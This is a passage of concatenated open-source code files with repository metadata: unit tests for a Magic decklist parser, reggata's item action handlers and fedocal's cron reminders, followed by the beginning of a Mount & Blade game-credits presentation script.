Sculptor 4 Torrent Sculptor/Flamethrower Sonata 4 Torrent Sculptor // Flamethrower Sonata """ s = textwrap.dedent(s) d = decklist.parse(s) assert sum(d['maindeck'].values()) == 36 assert sum(d['sideboard'].values()) == 0 def test_no_numbers() -> None: s = """ Blood Artist Blood Artist Blood Artist Blood Artist Bloodthrone Vampire Bloodthrone Vampire Cathodion Cathodion Cathodion Cathodion Cruel Celebrant Cruel Celebrant Stonehewer Giant Stonehewer Giant Su-Chi Su-Chi Nim Deathmantle Nim Deathmantle Piston Sledge Piston Sledge Piston Sledge Piston Sledge Plains Plains Plains Plains Plains Plains Plains Scoured Barrens Scoured Barrens Swamp Swamp Swamp Swamp Swamp Swamp Swamp Swamp Swamp Swamp Swamp Temple of Silence Temple of Silence Temple of Silence Temple of Silence Vindicate Vindicate Vindicate Vindicate Wretched Banquet Wretched Banquet Wretched Banquet Wretched Banquet Heartless Act Heartless Act Enduring Renewal Enduring Renewal Enduring Renewal Enduring Renewal Sideboard Crux of Fate Crux of Fate Deafening Silence Deafening Silence Deafening Silence Deafening Silence Duress Duress Duress Glass Casket Glass Casket Nature's Ruin Soul-Guide Lantern Soul-Guide Lantern Soul-Guide Lantern """ s = textwrap.dedent(s) d = decklist.parse(s) assert sum(d['maindeck'].values()) == 60 assert sum(d['sideboard'].values()) == 15
PennyDreadfulMTG/Penny-Dreadful-Tools
magic/decklist_test.py
Python
gpl-3.0
18,700
''' Created on 27.08.2012 @author: vvolkov ''' import os from PyQt4 import QtCore from reggata.helpers import to_db_format from reggata.data.db_schema import User from reggata.data.commands import GetExpungedItemCommand from reggata.logic.abstract_tool import AbstractTool from reggata.logic.abstract_tool_gui import AbstractToolGui from reggata.logic.common_action_handlers import EditItemsActionHandler from reggata.logic.items_table_action_handlers import AddItemsActionHandler,\ DeleteItemActionHandler, RebuildItemThumbnailActionHandler from reggata.tests.abstract_test_cases import AbstractTestCaseWithRepo from reggata.tests.tests_context import itemWithTagsAndFields, itemWithFile, itemWithoutFile from reggata.tests.tests_dialogs_facade import TestsDialogsFacade import time class TestsToolModel(AbstractTool): ''' This is a replacement for ItemsTable in tests. ''' def __init__(self, repo, user): super(TestsToolModel, self).__init__() self.repo = repo self.user = user self._gui = None self.itemsLock = QtCore.QReadWriteLock() def checkActiveRepoIsNotNone(self): pass def checkActiveUserIsNotNone(self): pass def _getGui(self): if self._gui is None: self._gui = TestsToolGui(self) return self._gui gui = property(fget=_getGui) class TestsToolGui(QtCore.QObject, AbstractToolGui): def __init__(self, model): super(TestsToolGui, self).__init__() self._model = model self._selectedItemIds = [] self._items = [] def _get_model(self): return self._model model = property(fget=_get_model) def setItems(self, items): self._items = items def selectedItemIds(self): return self._selectedItemIds def setSelectedItemIds(self, itemIds): self._selectedItemIds = itemIds def selectedRows(self): return [x for x in range(len(self._selectedItemIds))] def itemAtRow(self, row): foundItems = [item for item in self._items if item.id == self._selectedItemIds[row]] assert len(foundItems) == 1 return foundItems[0] class AddItemsActionHandlerTest(AbstractTestCaseWithRepo): def test_addFileFromOutsideOfRepo(self): user = User(login="user", password="") srcAbsPath = os.path.abspath(os.path.join(self.repo.base_path, "..", "tmp", "file.txt")) dstRelPath = "file.txt" self.assertFalse(os.path.exists(os.path.join(self.repo.base_path, dstRelPath)), "Target file should not be already in the repo root") tool = TestsToolModel(self.repo, user) dialogs = TestsDialogsFacade(selectedFiles=[srcAbsPath]) handler = AddItemsActionHandler(tool, dialogs) handler.handle() self.assertEqual(len(handler.lastSavedItemIds), 1) try: uow = self.repo.createUnitOfWork() savedItem = uow.executeCommand(GetExpungedItemCommand(handler.lastSavedItemIds[0])) self.assertIsNotNone(savedItem, "Item should exist") self.assertIsNotNone(savedItem.data_ref, "Item should have a DataRef object") self.assertEqual(savedItem.data_ref.url_raw, to_db_format(dstRelPath), "Item's file should be located in the root of repo") self.assertTrue(os.path.exists(os.path.join(self.repo.base_path, savedItem.data_ref.url)), "Item's file should exist") finally: uow.close() def test_addTwoFilesFromOutsideOfRepo(self): user = User(login="user", password="") srcAbsPath = [] dstRelPath = [] srcAbsPath.append(os.path.abspath(os.path.join(self.repo.base_path, "..", "tmp", "file.txt"))) dstRelPath.append("file.txt") srcAbsPath.append(os.path.abspath(os.path.join(self.repo.base_path, "..", "tmp", "grub.conf"))) dstRelPath.append("grub.conf") self.assertFalse(os.path.exists(os.path.join(self.repo.base_path, dstRelPath[0])), "Target file should not be already in the repo root") self.assertFalse(os.path.exists(os.path.join(self.repo.base_path, dstRelPath[1])), "Target file should not be already in the repo root") tool = TestsToolModel(self.repo, user) dialogs = TestsDialogsFacade(selectedFiles=[srcAbsPath[0], srcAbsPath[1]]) handler = AddItemsActionHandler(tool, dialogs) handler.handle() self.assertEqual(len(dstRelPath), len(handler.lastSavedItemIds)) for i, savedItemId in enumerate(handler.lastSavedItemIds): try: uow = self.repo.createUnitOfWork() savedItem = uow.executeCommand(GetExpungedItemCommand(savedItemId)) self.assertIsNotNone(savedItem, "Item should exist") self.assertIsNotNone(savedItem.data_ref, "Item should have a DataRef object") self.assertEqual(savedItem.data_ref.url_raw, to_db_format(dstRelPath[i]), "Item's file should be located in the root of repo") self.assertTrue(os.path.exists(os.path.join(self.repo.base_path, savedItem.data_ref.url)), "Item's file should exist") finally: uow.close() def test_addRecursivelyDirFromOutsideOfRepo(self): user = User(login="user", password="") srcDirAbsPath = os.path.abspath(os.path.join(self.repo.base_path, "..", "tmp")) dstRelPaths = [] for root, _dirs, files in os.walk(srcDirAbsPath): for file in files: dstRelPath = os.path.relpath(os.path.join(root, file), os.path.join(srcDirAbsPath, "..")) dstRelPaths.append(dstRelPath) tool = TestsToolModel(self.repo, user) dialogs = TestsDialogsFacade(selectedFiles=[srcDirAbsPath]) handler = AddItemsActionHandler(tool, dialogs) handler.handle() self.assertEqual(len(handler.lastSavedItemIds), len(dstRelPaths)) for i, savedItemId in enumerate(handler.lastSavedItemIds): try: uow = self.repo.createUnitOfWork() savedItem = uow.executeCommand(GetExpungedItemCommand(savedItemId)) self.assertIsNotNone(savedItem, "Item should exist") self.assertIsNotNone(savedItem.data_ref, "Item should have a DataRef object") self.assertEqual(savedItem.data_ref.url_raw, to_db_format(dstRelPaths[i]), "Item's file not found in repo") self.assertTrue(os.path.exists(os.path.join(self.repo.base_path, savedItem.data_ref.url)), "Item's file should exist") finally: uow.close() class RemoveAllTagsFromItemDialogsFacade(TestsDialogsFacade): def __init__(self): super(RemoveAllTagsFromItemDialogsFacade, self).__init__() def execItemDialog(self, item, gui, repo, dialogMode): super(RemoveAllTagsFromItemDialogsFacade, self).execItemDialog(item, gui, repo, dialogMode) del item.item_tags[:] return True def execItemsDialog(self, items, gui, repo, dialogMode, sameDstPath): super(RemoveAllTagsFromItemDialogsFacade, self).execItemsDialog(items, gui, repo, dialogMode, sameDstPath) for item in items: del item.item_tags[:] return True class EditItemsActionHandlerTest(AbstractTestCaseWithRepo): def test_editSingleItem(self): user = User(login="user", password="") tool = TestsToolModel(self.repo, user) tool.gui.setSelectedItemIds([itemWithTagsAndFields.id]) dialogs = RemoveAllTagsFromItemDialogsFacade() handler = EditItemsActionHandler(tool, dialogs) handler.handle() try: uow = self.repo.createUnitOfWork() editedItem = uow.executeCommand(GetExpungedItemCommand(itemWithTagsAndFields.id)) self.assertIsNotNone(editedItem, "Item should exist") self.assertTrue(editedItem.alive, "Item should be alive") self.assertEqual(len(editedItem.item_tags), 0, "Item should have no tags, because we've just removed them all") finally: uow.close() def test_editThreeItems(self): user = User(login="user", password="") tool = TestsToolModel(self.repo, user) selectedItemIds = [itemWithTagsAndFields.id, itemWithFile.id, itemWithoutFile.id] tool.gui.setSelectedItemIds(selectedItemIds) dialogs = RemoveAllTagsFromItemDialogsFacade() handler = EditItemsActionHandler(tool, dialogs) handler.handle() for itemId in selectedItemIds: try: uow = self.repo.createUnitOfWork() editedItem = uow.executeCommand(GetExpungedItemCommand(itemId)) self.assertIsNotNone(editedItem, "Item should exist") self.assertTrue(editedItem.alive, "Item should be alive") self.assertEqual(len(editedItem.item_tags), 0, "Item should have no tags, because we've just removed them all") finally: uow.close() class RebuildThumbnailActionHandlerTest(AbstractTestCaseWithRepo): def test_rebuildThumbnail(self): user = User(login="user", password="") tool = TestsToolModel(self.repo, user) selectedItemIds = [itemWithTagsAndFields.id, itemWithFile.id, itemWithoutFile.id] selectedItems = [] for itemId in selectedItemIds: try: uow = self.repo.createUnitOfWork() item = uow.executeCommand(GetExpungedItemCommand(itemId)) self.assertIsNotNone(item) selectedItems.append(item) finally: uow.close() tool.gui.setItems(selectedItems) tool.gui.setSelectedItemIds(selectedItemIds) handler = RebuildItemThumbnailActionHandler(tool) handler.handle() # Maybe we should add more checks here... but # The main goal for this test is to check that nothing crashes in the action handler itself # TODO: use some image files in this test and check that thumbnails were builded! time.sleep(1) class DeleteItemActionHandlerTest(AbstractTestCaseWithRepo): def test_deleteItem(self): user = User(login="user", password="") tool = TestsToolModel(self.repo, user) itemId = itemWithTagsAndFields.id tool.gui.setSelectedItemIds([itemId]) dialogs = TestsDialogsFacade() handler = DeleteItemActionHandler(tool, dialogs) handler.handle() try: uow = self.repo.createUnitOfWork() deletedItem = uow.executeCommand(GetExpungedItemCommand(itemId)) self.assertFalse(deletedItem.alive, "Deleted item still exists, but item.alive is False") self.assertIsNone(deletedItem.data_ref, "Deleted item should have None DataRef object") self.assertFalse(os.path.exists(os.path.join(self.repo.base_path, itemWithTagsAndFields.relFilePath)), "File of deleted Item should be deleted on filesystem") finally: uow.close() class OpenItemActionHandlerTest(AbstractTestCaseWithRepo): #TODO: implement test of OpenItemActionHandler pass
vlkv/reggata
reggata/tests/test_action_handlers.py
Python
gpl-3.0
11,701
#!/usr/bin/python #-*- coding: utf-8 -*- """ (c) 2014 - Copyright Pierre-Yves Chibon Author: Pierre-Yves Chibon <pingou@pingoured.fr> Distributed under License GPLv3 or later You can find a copy of this license on the website http://www.gnu.org/licenses/gpl.html This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. tests for fedocal's cron job """ from __future__ import unicode_literals, absolute_import, print_function import logging import unittest import sys import os from datetime import timedelta, datetime import fedocal_messages.messages as schema from fedora_messaging import testing from mock import ANY, patch sys.path.insert(0, os.path.join(os.path.dirname( os.path.abspath(__file__)), '..')) import fedocal_cron from fedocal.fedocallib import model from fedocal.fedocallib import week from fedocal.fedocallib import exceptions import tests from . import Modeltests from .test_meeting import Meetingtests, TODAY DB_PATH = 'sqlite:////tmp/fedocal_test.sqlite' class FakeSMTP(object): def sendmail(self, *arg, **kwarg): pass def quit(self, *arg, **kwarg): pass # pylint: disable=C0103 class Crontests(Modeltests): """ Cron tests. """ maxDiff = None def _clean(self): """ Clean a potentially existing test database. """ root, path = DB_PATH.split(':///', 1) if os.path.exists(path): os.unlink(path) def setUp(self): """ Set up the environnment, ran before every tests. """ self._clean() self.old_path = tests.DB_PATH tests.DB_PATH = DB_PATH super(Crontests, self).setUp() fedocal_cron.fedocal.APP.config['DB_URL'] = DB_PATH fedocal_cron.fedocal.APP.config['TESTING'] = True fedocal_cron.fedocal.APP.debug = True fedocal_cron.fedocal.APP.logger.handlers = [] fedocal_cron.fedocal.APP.logger.setLevel(logging.CRITICAL) fedocal_cron.fedocal.SESSION = self.session # Fills some data in the database in memory # A calendar calendar = model.Calendar( calendar_name='test_calendar', calendar_contact='test@example.com', calendar_description='This is a test calendar', calendar_editor_group='fi-apprentice', calendar_admin_group='infrastructure-main2') calendar.save(self.session) self.session.commit() self.assertNotEqual(calendar, None) def tearDown(self): """ Remove the test.db database if there is one. """ self.session.close() super(Crontests, self).tearDown() self._clean() tests.DB_PATH = self.old_path def test_no_reminder(self): """ Test the cron job for run with no reminders. """ # Meeting with a reminder but outside the standard offsets remobj = model.Reminder( 'H-12', 'pingou@fedoraproject.org', 'root@localhost', 'Come to our test meeting') remobj.save(self.session) self.session.flush() date_sa = datetime.utcnow() + timedelta(hours=15) date_so = datetime.utcnow() + timedelta(hours=16) obj = model.Meeting( # id:1 meeting_name='Test meeting with reminder', meeting_date=date_sa.date(), meeting_date_end=date_so.date(), meeting_time_start=date_sa.time(), meeting_time_stop=date_so.time(), meeting_information='This is a test meeting with reminder', calendar_name='test_calendar', reminder_id=remobj.reminder_id) obj.save(self.session) obj.add_manager(self.session, ['pingou']) self.session.commit() self.assertNotEqual(obj, None) with testing.mock_sends(): msgs = fedocal_cron.send_reminder() self.assertEqual(len(msgs), 0) @patch('fedocal_cron.smtplib.SMTP.sendmail') @patch('fedocal_cron.smtplib.SMTP') def test_one_reminder(self, smtp_mock, mail_mock): """ Test the cron job for a meeting with a single reminder to send. """ smtp_mock.return_value = FakeSMTP() mail_mock.return_value = None # Meeting with a reminder remobj = model.Reminder( 'H-12', 'pingou@fp.o', 'list@lists.fp.o', 'Come to our test meeting') remobj.save(self.session) self.session.flush() date_sa = datetime.utcnow() + timedelta(hours=12) date_so = datetime.utcnow() + timedelta(hours=13) obj = model.Meeting( # id:1 meeting_name='Test meeting with reminder', meeting_date=date_sa.date(), meeting_date_end=date_so.date(), meeting_time_start=date_sa.time(), meeting_time_stop=date_so.time(), meeting_information='This is a test meeting with reminder', calendar_name='test_calendar', reminder_id=remobj.reminder_id) obj.save(self.session) obj.add_manager(self.session, ['pingou']) self.session.commit() self.assertNotEqual(obj, None) with testing.mock_sends(schema.ReminderV1( topic="fedocal.meeting.reminder", body={ 'meeting': { 'meeting_id': 1, 'meeting_name': 'Test meeting with reminder', 'meeting_manager': ['pingou'], 'meeting_date': ANY, 'meeting_date_end': ANY, 'meeting_time_start': ANY, 'meeting_time_stop': ANY, 'meeting_timezone': 'UTC', 'meeting_information': 'This is a test meeting with reminder', 'meeting_location': None, 'calendar_name': 'test_calendar' }, 'calendar': { 'calendar_name': 'test_calendar', 'calendar_contact': 'test@example.com', 'calendar_description': 'This is a test calendar', 'calendar_editor_group': 'fi-apprentice', 'calendar_admin_group': 'infrastructure-main2', 'calendar_status': 'Enabled' } } )): msgs = fedocal_cron.send_reminder() self.assertEqual(len(msgs), 1) self.assertEqual(msgs[0]['To'], 'list@lists.fp.o') self.assertEqual(msgs[0]['From'], 'pingou@fp.o') @patch('fedocal_cron.smtplib.SMTP.sendmail') @patch('fedocal_cron.smtplib.SMTP') def test_two_reminder(self, smtp_mock, mail_mock): """ Test the cron job for a meeting with a single reminder to send. """ smtp_mock.return_value = FakeSMTP() mail_mock.return_value = None # Meeting with a reminder remobj = model.Reminder( 'H-12', 'pingou@fp.o', 'pingou@fp.o,pingou@p.fr', 'Come to our test meeting') remobj.save(self.session) self.session.flush() date_sa = datetime.utcnow() + timedelta(hours=12) date_so = datetime.utcnow() + timedelta(hours=13) obj = model.Meeting( # id:1 meeting_name='Test meeting with reminder', meeting_date=date_sa.date(), meeting_date_end=date_so.date(), meeting_time_start=date_sa.time(), meeting_time_stop=date_so.time(), meeting_information='This is a test meeting with reminder', calendar_name='test_calendar', reminder_id=remobj.reminder_id) obj.save(self.session) obj.add_manager(self.session, ['pingou']) self.session.commit() self.assertNotEqual(obj, None) with testing.mock_sends(schema.ReminderV1( topic="fedocal.meeting.reminder", body={ 'meeting': { 'meeting_id': 1, 'meeting_name': 'Test meeting with reminder', 'meeting_manager': ['pingou'], 'meeting_date': ANY, 'meeting_date_end': ANY, 'meeting_time_start': ANY, 'meeting_time_stop': ANY, 'meeting_timezone': 'UTC', 'meeting_information': 'This is a test meeting with reminder', 'meeting_location': None, 'calendar_name': 'test_calendar' }, 'calendar': { 'calendar_name': 'test_calendar', 'calendar_contact': 'test@example.com', 'calendar_description': 'This is a test calendar', 'calendar_editor_group': 'fi-apprentice', 'calendar_admin_group': 'infrastructure-main2', 'calendar_status': 'Enabled' } } )): msgs = fedocal_cron.send_reminder() self.assertEqual(len(msgs), 1) self.assertEqual(msgs[0]['To'], 'pingou@fp.o, pingou@p.fr') self.assertEqual(msgs[0]['From'], 'pingou@fp.o') if __name__ == '__main__': SUITE = unittest.TestLoader().loadTestsFromTestCase(Crontests) unittest.TextTestRunner(verbosity=2).run(SUITE)
fedora-infra/fedocal
tests/test_cron.py
Python
gpl-3.0
10,084
from header_common import * from header_presentations import * from header_mission_templates import * from header_operations import * from header_triggers import * from header_items import * from module_constants import * import header_debug as dbg import header_lazy_evaluation as lazy #################################################################################################################### # Each presentation record contains the following fields: # 1) Presentation id: used for referencing presentations in other files. The prefix prsnt_ is automatically added before each presentation id. # 2) Presentation flags. See header_presentations.py for a list of available flags # 3) Presentation background mesh: See module_meshes.py for a list of available background meshes # 4) Triggers: Simple triggers that are associated with the presentation #################################################################################################################### presentations = [] presentations.extend([ ("game_credits",prsntf_read_only,"mesh_load_window", [(ti_on_presentation_load, [(assign, "$g_presentation_credits_obj_0", -1), (assign, "$g_presentation_credits_obj_1", -1), (assign, "$g_presentation_credits_obj_2", -1), (assign, "$g_presentation_credits_obj_3", -1), (assign, "$g_presentation_credits_obj_4", -1), (assign, "$g_presentation_credits_obj_5", -1), (assign, "$g_presentation_credits_obj_6", -1), (assign, "$g_presentation_credits_obj_7", -1), (assign, "$g_presentation_credits_obj_8", -1), (assign, "$g_presentation_credits_obj_9", -1), (assign, "$g_presentation_credits_obj_10", -1), (assign, "$g_presentation_credits_obj_11", -1), (assign, "$g_presentation_credits_obj_12", -1), (assign, "$g_presentation_credits_obj_0_alpha", 0), (assign, "$g_presentation_credits_obj_1_alpha", 0), (assign, "$g_presentation_credits_obj_2_alpha", 0), (assign, "$g_presentation_credits_obj_3_alpha", 0), (assign, "$g_presentation_credits_obj_4_alpha", 0), (assign, "$g_presentation_credits_obj_5_alpha", 0), (assign, "$g_presentation_credits_obj_6_alpha", 0), (assign, "$g_presentation_credits_obj_7_alpha", 0), (assign, "$g_presentation_credits_obj_8_alpha", 0), (assign, "$g_presentation_credits_obj_9_alpha", 0), ]), (ti_on_presentation_run, [(store_trigger_param_1, ":cur_time"), (set_fixed_point_multiplier, 1000), (presentation_set_duration, 1000000), (try_begin), (this_or_next|key_clicked, key_space), (this_or_next|key_clicked, key_enter), (this_or_next|key_clicked, key_escape), (this_or_next|key_clicked, key_back_space), (this_or_next|key_clicked, key_left_mouse_button), (key_clicked, key_right_mouse_button), (presentation_set_duration, 0), (try_end), (try_begin), (lt, "$g_presentation_credits_obj_0", 0), (str_store_string, s1, "str_credits_0"), (create_text_overlay, "$g_presentation_credits_obj_0", s1, tf_center_justify|tf_double_space|tf_vertical_align_center), (overlay_set_color, "$g_presentation_credits_obj_0", 0), (overlay_set_alpha, "$g_presentation_credits_obj_0", 0), (position_set_x, pos1, 1500), (position_set_y, pos1, 1500), (overlay_set_size, "$g_presentation_credits_obj_0", pos1), (position_set_x, pos1, 500), (position_set_y, pos1, 375), (overlay_set_position, "$g_presentation_credits_obj_0", pos1), (overlay_animate_to_alpha, "$g_presentation_credits_obj_0", 1000, 0xFF), (else_try), (gt, ":cur_time", 2000), (eq, "$g_presentation_credits_obj_0_alpha", 0), (assign, "$g_presentation_credits_obj_0_alpha", 1), (overlay_animate_to_alpha, "$g_presentation_credits_obj_0", 1000, 0x00), (else_try), (gt, ":cur_time", 2000 + 1500), (lt, "$g_presentation_credits_obj_1", 0), (str_store_string, s1, "str_credits_1"), (create_text_overlay, "$g_presentation_credits_obj_1", s1, tf_center_justify|tf_double_space|tf_vertical_align_center), (overlay_set_color, "$g_presentation_credits_obj_1", 0), (overlay_set_alpha, "$g_presentation_credits_obj_1", 0), (position_set_x, pos1, 1500), (position_set_y, pos1, 1500), (overlay_set_size, "$g_presentation_credits_obj_1", pos1), (position_set_x, pos1, 500), (position_set_y, pos1, 375), (overlay_set_position, "$g_presentation_credits_obj_1", pos1), (overlay_animate_to_alpha, "$g_presentation_credits_obj_1", 1000, 0xFF), (else_try), (gt, ":cur_time", 2 * 2000 + 1500), (eq, "$g_presentation_credits_obj_1_alpha", 0), (assign, "$g_presentation_credits_obj_1_alpha", 1), (overlay_animate_to_alpha, "$g_presentation_credits_obj_1", 1000, 0x00), (else_try), (gt, ":cur_time", 2 * 2000 + 2 * 1500), (lt, "$g_presentation_credits_obj_2", 0), (str_store_string, s1, "str_credits_2"), (create_text_overlay, "$g_presentation_credits_obj_2", s1, tf_center_justify|tf_double_space|tf_vertical_align_center), (overlay_set_color, "$g_presentation_credits_obj_2", 0), (overlay_set_alpha, "$g_presentation_credits_obj_2", 0), (position_set_x, pos1, 1750), (position_set_y, pos1, 1750), (overlay_set_size, "$g_presentation_credits_obj_2", pos1), (position_set_x, pos1, 500), (position_set_y, pos1, 375), (overlay_set_position, "$g_presentation_credits_obj_2", pos1), (overlay_animate_to_alpha, "$g_presentation_credits_obj_2", 1000, 0xFF), (else_try), (gt, ":cur_time", 3 * 2000 + 2 * 1500), (eq, "$g_presentation_credits_obj_2_alpha", 0), (assign, "$g_presentation_credits_obj_2_alpha", 1), (overlay_animate_to_alpha, "$g_presentation_credits_obj_2", 1000, 0x00), (else_try), (gt, ":cur_time", 3 * 2000 + 3 * 1500), (lt, "$g_presentation_credits_obj_3", 0), (str_store_string, s1, "str_credits_3"), (create_text_overlay, "$g_presentation_credits_obj_3", s1, tf_center_justify|tf_double_space|tf_vertical_align_center), (overlay_set_color, "$g_presentation_credits_obj_3", 0), (overlay_set_alpha, "$g_presentation_credits_obj_3", 0), (position_set_x, pos1, 1750), (position_set_y, pos1, 1750), (overlay_set_size, "$g_presentation_credits_obj_3", pos1), (position_set_x, pos1, 500), (position_set_y, pos1, 375), (overlay_set_position, "$g_presentation_credits_obj_3", pos1), (overlay_animate_to_alpha, "$g_presentation_credits_obj_3", 1000, 0xFF), (else_try), (gt, ":cur_time", 4 * 2000 + 3 * 1500), (eq, "$g_presentation_credits_obj_3_alpha", 0), (assign, "$g_presentation_credits_obj_3_alpha", 1), (overlay_animate_to_alpha, "$g_presentation_credits_obj_3", 1000, 0), (else_try), (gt, ":cur_time", 4 * 2000 + 4 * 1500), (lt, "$g_presentation_credits_obj_4", 0), (str_store_string, s1, "str_credits_4"), (create_text_overlay, "$g_presentation_credits_obj_4", s1, tf_center_justify|tf_double_space|tf_vertical_align_center), (overlay_set_color, "$g_presentation_credits_obj_4", 0), (overlay_set_alpha, "$g_presentation_credits_obj_4", 0), (position_set_x, pos1, 1750), (position_set_y, pos1, 1750), (overlay_set_size, "$g_presentation_credits_obj_4", pos1), (position_set_x, pos1, 500), (position_set_y, pos1, 375), (overlay_set_position, "$g_presentation_credits_obj_4", pos1), (overlay_animate_to_alpha, "$g_presentation_credits_obj_4", 1000, 0xFF), (else_try), (gt, ":cur_time", 5 * 2000 + 4 * 1500), (eq, "$g_presentation_credits_obj_4_alpha", 0), (assign, "$g_presentation_credits_obj_4_alpha", 1), (overlay_animate_to_alpha, "$g_presentation_credits_obj_4", 1000, 0), (else_try), (gt, ":cur_time", 5 * 2000 + 5 * 1500), (lt, "$g_presentation_credits_obj_5", 0), (str_store_string, s1, "str_credits_5"), (create_text_overlay, "$g_presentation_credits_obj_5", s1, tf_center_justify|tf_double_space|tf_vertical_align_center), (overlay_set_color, "$g_presentation_credits_obj_5", 0), (overlay_set_alpha, "$g_presentation_credits_obj_5", 0), (position_set_x, pos1, 1750), (position_set_y, pos1, 1750), (overlay_set_size, "$g_presentation_credits_obj_5", pos1), (position_set_x, pos1, 500), (position_set_y, pos1, 375), (overlay_set_position, "$g_presentation_credits_obj_5", pos1), (overlay_animate_to_alpha, "$g_presentation_credits_obj_5", 1000, 0xFF), (else_try), (gt, ":cur_time", 6 * 2000 + 5 * 1500), (eq, "$g_presentation_credits_obj_5_alpha", 0), (assign, "$g_presentation_credits_obj_5_alpha", 1), (overlay_animate_to_alpha, "$g_presentation_credits_obj_5", 1000, 0), (else_try), (gt, ":cur_time", 6 * 2000 + 6 * 1500), (lt, "$g_presentation_credits_obj_6", 0), (str_store_string, s1, "str_credits_6"), (create_text_overlay, "$g_presentation_credits_obj_6", s1, tf_center_justify|tf_double_space|tf_vertical_align_center), (overlay_set_color, "$g_presentation_credits_obj_6", 0), (overlay_set_alpha, "$g_presentation_credits_obj_6", 0), (position_set_x, pos1, 1750), (position_set_y, pos1, 1750), (overlay_set_size, "$g_presentation_credits_obj_6", pos1), (position_set_x, pos1, 500), (position_set_y, pos1, 375), (overlay_set_position, "$g_presentation_credits_obj_6", pos1), (overlay_animate_to_alpha, "$g_presentation_credits_obj_6", 1000, 0xFF), (else_try), (gt, ":cur_time", 7 * 2000 + 6 * 1500), (eq, "$g_presentation_credits_obj_6_alpha", 0), (assign, "$g_presentation_credits_obj_6_alpha", 1), (overlay_animate_to_alpha, "$g_presentation_credits_obj_6", 1000, 0), (else_try), (gt, ":cur_time", 7 * 2000 + 7 * 1500), (lt, "$g_presentation_credits_obj_7", 0), (str_store_string, s1, "str_credits_7"), (create_text_overlay, "$g_presentation_credits_obj_7", s1, tf_center_justify|tf_double_space|tf_vertical_align_center), (overlay_set_color, "$g_presentation_credits_obj_7", 0), (overlay_set_alpha, "$g_presentation_credits_obj_7", 0), (position_set_x, pos1, 1750), (position_set_y, pos1, 1750), (overlay_set_size, "$g_presentation_credits_obj_7", pos1), (position_set_x, pos1, 500), (position_set_y, pos1, 375), (overlay_set_position, "$g_presentation_credits_obj_7", pos1), (overlay_animate_to_alpha, "$g_presentation_credits_obj_7", 1000, 0xFF), (else_try), (gt, ":cur_time", 8 * 2000 + 7 * 1500), (eq, "$g_presentation_credits_obj_7_alpha", 0), (assign, "$g_presentation_credits_obj_7_alpha", 1), (overlay_animate_to_alpha, "$g_presentation_credits_obj_7", 1000, 0), (else_try), (gt, ":cur_time", 8 * 2000 + 8 * 1500), (lt, "$g_presentation_credits_obj_8", 0), (str_store_string, s1, "str_credits_8"), (create_text_overlay, "$g_presentation_credits_obj_8", s1, tf_center_justify|tf_double_space|tf_vertical_align_center), (overlay_set_color, "$g_presentation_credits_obj_8", 0), (overlay_set_alpha, "$g_presentation_credits_obj_8", 0), (position_set_x, pos1, 1750), (position_set_y, pos1, 1750), (overlay_set_size, "$g_presentation_credits_obj_8", pos1), (position_set_x, pos1, 500), (position_set_y, pos1, 375), (overlay_set_position, "$g_presentation_credits_obj_8", pos1), (overlay_animate_to_alpha, "$g_presentation_credits_obj_8", 1000, 0xFF), (else_try), (gt, ":cur_time", 9 * 2000 + 8 * 1500), (eq, "$g_presentation_credits_obj_8_alpha", 0), (assign, "$g_presentation_credits_obj_8_alpha", 1), (overlay_animate_to_alpha, "$g_presentation_credits_obj_8", 1000, 0), (else_try), (gt, ":cur_time", 9 * 2000 + 9 * 1500), (lt, "$g_presentation_credits_obj_9", 0), (str_store_string, s1, "str_credits_10"), (create_text_overlay, "$g_presentation_credits_obj_9", s1, tf_center_justify|tf_double_space|tf_vertical_align_center), (overlay_set_color, "$g_presentation_credits_obj_9", 0), (overlay_set_alpha, "$g_presentation_credits_obj_9", 0), (position_set_x, pos1, 750), (position_set_y, pos1, 750), (overlay_set_size, "$g_presentation_credits_obj_9", pos1), (position_set_x, pos1, 250), (position_set_y, pos1, 485), (overlay_set_position, "$g_presentation_credits_obj_9", pos1), (overlay_animate_to_alpha, "$g_presentation_credits_obj_9", 1000, 0xFF), (str_store_string, s1, "str_credits_11"), (create_text_overlay, "$g_presentation_credits_obj_10", s1, tf_center_justify|tf_double_space|tf_vertical_align_center), (overlay_set_color, "$g_presentation_credits_obj_10", 0), (overlay_set_alpha, "$g_presentation_credits_obj_10", 0), (position_set_x, pos1, 750), (position_set_y, pos1, 750), (overlay_set_size, "$g_presentation_credits_obj_10", pos1), (position_set_x, pos1, 750), (position_set_y, pos1, 470), (overlay_set_position, "$g_presentation_credits_obj_10", pos1), (overlay_animate_to_alpha, "$g_presentation_credits_obj_10", 1000, 0xFF), (str_store_string, s1, "str_credits_12"), (create_text_overlay, "$g_presentation_credits_obj_11", s1, tf_center_justify|tf_double_space|tf_vertical_align_center), (overlay_set_color, "$g_presentation_credits_obj_11", 0), (overlay_set_alpha, "$g_presentation_credits_obj_11", 0), (position_set_x, pos1, 750), (position_set_y, pos1, 750), (overlay_set_size, "$g_presentation_credits_obj_11", pos1), (position_set_x, pos1, 500), (position_set_y, pos1, 105), (overlay_set_position, "$g_presentation_credits_obj_11", pos1), (overlay_animate_to_alpha, "$g_presentation_credits_obj_11", 1000, 0xFF), (else_try), (gt, ":cur_time", 12 * 2000 + 9 * 1500), (eq, "$g_presentation_credits_obj_9_alpha", 0), (assign, "$g_presentation_credits_obj_9_alpha", 1), (overlay_animate_to_alpha, "$g_presentation_credits_obj_9", 1000, 0), (overlay_animate_to_alpha, "$g_presentation_credits_obj_10", 1000, 0), (overlay_animate_to_alpha, "$g_presentation_credits_obj_11", 1000, 0), (else_try), (gt, ":cur_time", 12 * 2000 + 10 * 1500), (lt, "$g_presentation_credits_obj_12", 0), (str_store_string, s1, "str_credits_9"), (create_text_overlay, "$g_presentation_credits_obj_12", s1, tf_center_justify|tf_double_space), (overlay_set_color, "$g_presentation_credits_obj_12", 0), (overlay_set_alpha, "$g_presentation_credits_obj_12", 0xFF), (position_set_x, pos1, 1000), (position_set_y, pos1, 1000), (overlay_set_size, "$g_presentation_credits_obj_12", pos1), (position_set_x, pos1, 500), (position_set_y, pos1, -4800), (overlay_set_position, "$g_presentation_credits_obj_12", pos1), (position_set_x, pos1, 500), (position_set_y, pos1, 760), 